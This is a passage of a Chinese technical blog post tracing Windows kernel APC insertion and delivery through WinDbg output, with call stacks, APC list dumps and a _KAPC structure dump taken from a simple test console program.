<span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Child</span><span class="o">-</span><span class="n">SP</span><span class="w"> </span><span class="n">RetAddr</span><span class="w"> </span><span class="n">Call</span><span class="w"> </span><span class="n">Site</span>
<span class="mi">00</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d900</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14802</span><span class="n">c60</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiDeliverApc</span><span class="o">+</span><span class="mh">0x686</span>
<span class="mi">01</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d9c0</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">148112</span><span class="n">df</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiInitiateUserApc</span><span class="o">+</span><span class="mh">0x70</span>
<span class="mi">02</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95db00</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffd</span><span class="err">`</span><span class="mi">5264</span><span class="n">d664</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiSystemServiceExit</span><span class="o">+</span><span class="mh">0x9f</span>
<span class="mi">03</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">eff938</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffd</span><span class="err">`</span><span class="mi">4</span><span class="n">fe7b62e</span><span class="w"> </span><span class="n">ntdll</span><span class="o">!</span><span class="n">NtDelayExecution</span><span class="o">+</span><span class="mh">0x14</span>
<span class="mi">04</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">eff940</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff7</span><span class="err">`</span><span class="mi">45</span><span class="n">da2e37</span><span class="w"> </span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">SleepEx</span><span class="o">+</span><span class="mh">0x9e</span>
<span class="mi">05</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">eff9e0</span><span class="w"> </span><span class="mi">00000125</span><span class="err">`</span><span class="mi">96036580</span><span class="w"> </span><span class="n">ConsoleApplication1</span><span class="o">!</span><span class="n">main</span><span class="o">+</span><span class="mh">0x167</span><span class="w"> </span><span class="o">[</span><span class="n">C</span><span class="o">:\</span><span class="n">Users</span><span class="o">\</span><span class="n">x</span><span class="o">\</span><span class="n">RPC_Study</span><span class="o">\</span><span class="n">ConsoleApplication1</span><span class="o">\</span><span class="n">ConsoleApplication1</span><span class="o">\</span><span class="n">ConsoleApplication1</span><span class="o">.</span><span class="na">cpp</span><span class="w"> </span><span class="err">@</span><span class="w"> </span><span class="mi">57</span><span class="o">]</span><span class="w"> </span>
<span class="mi">06</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">eff9e8</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000001</span><span class="w"> </span><span class="mh">0x00000125</span><span class="err">`</span><span class="mi">96036580</span>
<span class="mi">07</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">eff9f0</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="n">c00000bb</span><span class="w"> </span><span class="mh">0x1</span>
<span class="mi">08</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">eff9f8</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mh">0x00000009</span><span class="err">`</span><span class="n">c00000bb</span>
</code></pre></div>
<p>APC被处理,节点被删除</p>
<div class="highlight"><pre><span></span><code><span class="mi">2</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="o">!</span><span class="n">list</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589848</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d138</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e890080</span><span class="w"> </span><span class="mi">00000003</span><span class="err">`</span><span class="mi">08000000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d148</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d1c0</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d158</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">0</span><span class="n">f701a90</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">0</span><span class="n">f701a90</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d168</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">d52000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d178</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">005</span><span class="n">e0008</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d188</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d250</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d250</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d198</span><span class="w"> </span><span class="mi">00000002</span><span class="err">`</span><span class="n">e57b2a43</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">0</span><span class="n">f6ff888</span>
</code></pre></div>
<p>再次放行,第一个断点被触发</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">k</span>
<span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Child</span><span class="o">-</span><span class="n">SP</span><span class="w"> </span><span class="n">RetAddr</span><span class="w"> </span><span class="n">Call</span><span class="w"> </span><span class="n">Site</span>
<span class="mi">00</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bdbcd6d0</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">1465</span><span class="n">d0e7</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopfCompleteRequest</span><span class="o">+</span><span class="mh">0xc14</span>
<span class="mi">01</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bdbcd7b0</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">2</span><span class="n">b418d0a</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IofCompleteRequest</span><span class="o">+</span><span class="mh">0x17</span>
<span class="mi">02</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bdbcd7e0</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">2</span><span class="n">b418939</span><span class="w"> </span><span class="n">condrv</span><span class="o">!</span><span class="n">CdCompleteIo</span><span class="o">+</span><span class="mh">0x26a</span>
<span class="mi">03</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bdbcd840</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">2</span><span class="n">b41adcd</span><span class="w"> </span><span class="n">condrv</span><span class="o">!</span><span class="n">CdpServerFastIoctl</span><span class="o">+</span><span class="mh">0x69</span>
<span class="mi">04</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bdbcd880</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">a4497f</span><span class="w"> </span><span class="n">condrv</span><span class="o">!</span><span class="n">CdpFastIoDeviceControl</span><span class="o">+</span><span class="mh">0x6d</span>
<span class="mi">05</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bdbcd8d0</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">a441d6</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopXxxControlFile</span><span class="o">+</span><span class="mh">0x78f</span>
<span class="mi">06</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bdbcda20</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14811235</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">NtDeviceIoControlFile</span><span class="o">+</span><span class="mh">0x56</span>
<span class="mi">07</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bdbcda90</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffd</span><span class="err">`</span><span class="mi">5264</span><span class="n">d0c4</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiSystemServiceCopyEnd</span><span class="o">+</span><span class="mh">0x25</span>
<span class="mi">08</span><span class="w"> </span><span class="mi">0000007</span><span class="n">a</span><span class="err">`</span><span class="mi">8</span><span class="n">d07fbc8</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffd</span><span class="err">`</span><span class="mi">4</span><span class="n">fe6591b</span><span class="w"> </span><span class="n">ntdll</span><span class="o">!</span><span class="n">NtDeviceIoControlFile</span><span class="o">+</span><span class="mh">0x14</span>
<span class="mi">09</span><span class="w"> </span><span class="mi">0000007</span><span class="n">a</span><span class="err">`</span><span class="mi">8</span><span class="n">d07fbd0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffd</span><span class="err">`</span><span class="mi">50</span><span class="n">fb5921</span><span class="w"> </span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">DeviceIoControl</span><span class="o">+</span><span class="mh">0x6b</span>
<span class="mi">0</span><span class="n">a</span><span class="w"> </span><span class="mi">0000007</span><span class="n">a</span><span class="err">`</span><span class="mi">8</span><span class="n">d07fc40</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff6</span><span class="err">`</span><span class="mi">525</span><span class="n">c0fa0</span><span class="w"> </span><span class="n">KERNEL32</span><span class="o">!</span><span class="n">DeviceIoControlImplementation</span><span class="o">+</span><span class="mh">0x81</span>
<span class="mi">0</span><span class="n">b</span><span class="w"> </span><span class="mi">0000007</span><span class="n">a</span><span class="err">`</span><span class="mi">8</span><span class="n">d07fc90</span><span class="w"> </span><span class="mi">0000007</span><span class="n">a</span><span class="err">`</span><span class="mi">8</span><span class="n">d07fcf0</span><span class="w"> </span><span class="mh">0x00007ff6</span><span class="err">`</span><span class="mi">525</span><span class="n">c0fa0</span>
<span class="mi">0</span><span class="n">c</span><span class="w"> </span><span class="mi">0000007</span><span class="n">a</span><span class="err">`</span><span class="mi">8</span><span class="n">d07fc98</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mh">0x0000007a</span><span class="err">`</span><span class="mi">8</span><span class="n">d07fcf0</span>
</code></pre></div>
<p><code>IopfCompleteRequest</code>函数在第一个链表中插入了一个APC,具体含义未知,<strong>不过从KAPC的Thread字段可以看到相关线程并非主线程</strong></p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="o">!</span><span class="n">list</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589848</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589848</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d138</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e890080</span><span class="w"> </span><span class="mi">00000003</span><span class="err">`</span><span class="mi">08000000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d148</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d1c0</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d158</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">0</span><span class="n">f701a90</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">0</span><span class="n">f701a90</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d168</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">d52000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d178</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">005</span><span class="n">e0008</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d188</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d250</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d250</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589848</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589858</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">1463</span><span class="n">d030</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">c935d0</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589868</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589878</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">f39f5d0</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589888</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00010000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">0000000</span><span class="n">f</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589898</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e5898a8</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e5898b8</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span>
<span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">_kapc</span><span class="w"> </span><span class="mh">0xffffa3851e589848</span><span class="w"> </span>
<span class="n">ntdll</span><span class="o">!</span><span class="n">_KAPC</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">Type</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x18</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">AllFlags</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xd1</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">CallbackDataContext</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">y1</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">Unused</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">y1101000</span><span class="w"> </span><span class="o">(</span><span class="mh">0x68</span><span class="o">)</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x002</span><span class="w"> </span><span class="n">Size</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x48</span><span class="w"> </span><span class="s1">'H'</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x003</span><span class="w"> </span><span class="n">SpareByte1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x1a</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x004</span><span class="w"> </span><span class="n">SpareLong0</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xffffa385</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x008</span><span class="w"> </span><span class="n">Thread</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span><span class="n">_KTHREAD</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x010</span><span class="w"> </span><span class="n">ApcListEntry</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">_LIST_ENTRY</span><span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="mh">0xfffff804</span><span class="err">`</span><span class="mi">1463</span><span class="n">d030</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0xfffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">c935d0</span><span class="w"> </span><span class="o">]</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">KernelRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">(</span><span class="kc">null</span><span class="o">)</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x028</span><span class="w"> </span><span class="n">RundownRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">(</span><span class="kc">null</span><span class="o">)</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x030</span><span class="w"> </span><span class="n">NormalRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">f39f5d0</span><span class="w"> </span><span class="kc">void</span><span class="w"> </span><span class="o">+</span><span class="n">ffffa3851f39f5d0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">Reserved</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">[</span><span class="mi">3</span><span class="o">]</span><span class="w"> </span><span class="o">(</span><span class="kc">null</span><span class="o">)</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x038</span><span class="w"> </span><span class="n">NormalContext</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">(</span><span class="kc">null</span><span class="o">)</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x040</span><span class="w"> </span><span class="n">SystemArgument1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x00000000</span><span class="err">`</span><span class="mi">00010000</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x048</span><span class="w"> </span><span class="n">SystemArgument2</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x00000000</span><span class="err">`</span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x050</span><span class="w"> </span><span class="n">ApcStateIndex</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x051</span><span class="w"> </span><span class="n">ApcMode</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x052</span><span class="w"> </span><span class="n">Inserted</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="s1">''</span>
</code></pre></div>
<p>再次放行,第一个断点被触发,APC移除</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="o">!</span><span class="n">list</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e589848</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d138</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e890080</span><span class="w"> </span><span class="mi">00000003</span><span class="err">`</span><span class="mi">08000000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d148</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000100</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d1c0</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d158</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">0</span><span class="n">f701a90</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">0</span><span class="n">f701a90</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d168</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">d52000</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d178</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">005</span><span class="n">e0008</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d188</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d250</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d250</span>
<span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">k</span>
<span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Child</span><span class="o">-</span><span class="n">SP</span><span class="w"> </span><span class="n">RetAddr</span><span class="w"> </span><span class="n">Call</span><span class="w"> </span><span class="n">Site</span>
<span class="mi">00</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d490</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14641657</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiDeliverApc</span><span class="o">+</span><span class="mh">0x1da</span>
<span class="mi">01</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d550</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">1464085</span><span class="n">f</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiSwapThread</span><span class="o">+</span><span class="mh">0x827</span>
<span class="mi">02</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d600</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14640103</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiCommitThreadWait</span><span class="o">+</span><span class="mh">0x14f</span>
<span class="mi">03</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d6a0</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">147</span><span class="n">f15e4</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KeWaitForSingleObject</span><span class="o">+</span><span class="mh">0x233</span>
<span class="mi">04</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d790</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">a4546b</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopWaitForSynchronousIoEvent</span><span class="o">+</span><span class="mh">0x50</span>
<span class="mi">05</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d7d0</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">149</span><span class="n">cf379</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopSynchronousServiceTail</span><span class="o">+</span><span class="mh">0x50b</span>
<span class="mi">06</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d870</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">a0af76</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopWriteFile</span><span class="o">+</span><span class="mh">0x23d</span>
<span class="mi">07</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95d970</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14811235</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">NtWriteFile</span><span class="o">+</span><span class="mh">0x996</span>
<span class="mi">08</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">bd95da90</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffd</span><span class="err">`</span><span class="mi">5264</span><span class="n">d0e4</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiSystemServiceCopyEnd</span><span class="o">+</span><span class="mh">0x25</span>
<span class="mi">09</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">efd6e8</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffd</span><span class="err">`</span><span class="mi">4</span><span class="n">fe65326</span><span class="w"> </span><span class="n">ntdll</span><span class="o">!</span><span class="n">NtWriteFile</span><span class="o">+</span><span class="mh">0x14</span>
<span class="mi">0</span><span class="n">a</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">efd6f0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff7</span><span class="err">`</span><span class="mi">45</span><span class="n">dbb3b5</span><span class="w"> </span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">WriteFile</span><span class="o">+</span><span class="mh">0x76</span>
<span class="mi">0</span><span class="n">b</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">efd760</span><span class="w"> </span><span class="mi">00000125</span><span class="err">`</span><span class="mi">96031</span><span class="n">f1e</span><span class="w"> </span><span class="n">ConsoleApplication1</span><span class="o">!</span><span class="n">write_text_ansi_nolock</span><span class="o">+</span><span class="mh">0xb9</span><span class="w"> </span><span class="o">[</span><span class="n">minkernel</span><span class="o">\</span><span class="n">crts</span><span class="o">\</span><span class="n">ucrt</span><span class="o">\</span><span class="n">src</span><span class="o">\</span><span class="n">appcrt</span><span class="o">\</span><span class="n">lowio</span><span class="o">\</span><span class="n">write</span><span class="o">.</span><span class="na">cpp</span><span class="w"> </span><span class="err">@</span><span class="w"> </span><span class="mi">443</span><span class="o">]</span><span class="w"> </span>
